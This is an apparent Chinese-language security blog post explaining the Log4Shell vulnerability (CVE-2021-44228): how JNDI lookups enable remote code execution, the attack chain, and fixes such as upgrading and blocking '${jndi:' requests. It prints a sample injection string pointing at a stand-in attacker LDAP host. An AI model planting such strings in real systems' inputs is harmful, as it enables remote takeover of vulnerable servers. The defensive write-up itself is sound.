Skip to content

Log4j RCE 漏洞深度分析

2021 年底披露的 Log4j2 远程代码执行漏洞(CVE-2021-44228,别名 Log4Shell) 被称为"史诗级"漏洞,影响全球绝大多数 Java 应用。

漏洞原理

Log4j2 的 lookup 功能支持在日志中通过 ${} 语法动态解析变量。其中 JndiLookup 允许从远程 LDAP/RMI 服务加载对象。当日志内容包含攻击者可控的字符串时:

text
${jndi:ldap://attacker.com/exploit}

Log4j 会主动连接攻击者的 LDAP 服务并加载其中的恶意 Java 类,实现远程代码执行

利用链

  1. 应用将用户输入记录进日志(如 User-Agent、用户名)。
  2. 触发 ${jndi:ldap://...} 解析。
  3. 受害者 JVM 向攻击者 LDAP 发起请求。
  4. 攻击者返回一个指向恶意 Class 的引用。
  5. JVM 下载并执行该 Class,控制权丢失。

修复方案

  • 升级版本:升级到 2.17.1 及以上(2.15/2.16 仍有绕过)。
  • 移除危险 Lookup
properties
log4j2.formatMsgNoLookups=true
  • 网络层收敛:禁止服务器主动出网到未知 LDAP/RMI。
  • WAF 规则:拦截包含 ${jndi: 的请求作为止血手段。

时至今日,大量内网老旧组件仍可能存在该风险,资产盘点与依赖扫描仍是防御重点。

SecLab 网络安全博客 · 内容仅供安全研究与学习,请勿用于未授权活动